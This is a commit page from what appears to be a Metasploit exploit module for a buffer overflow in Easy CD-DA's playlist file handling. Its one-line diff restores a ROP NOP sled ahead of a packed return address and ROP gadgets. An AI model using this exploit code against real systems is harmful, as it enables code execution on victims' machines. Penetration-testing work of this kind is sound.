Skip to content

Commit 3283880

Browse files
author
sgabe
committed
Partially revert "Replace unnecessary NOP sled with random text" to improve reliability.
This partially reverts commit 1247166.
1 parent 7195416 commit 3283880

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/fileformat/easycdda_pls_bof.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -103,7 +103,7 @@ def exploit
103103
0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]
104104
].flatten.pack('V*')
105105

106-
sploit = rand_text_alpha_upper(target['Offset'])
106+
sploit = rop_nops(target['Offset'] / 4)
107107
sploit << [target.ret].pack("V")
108108
sploit << rop_nops(22)
109109
sploit << rop_gadgets

0 commit comments

Comments
 (0)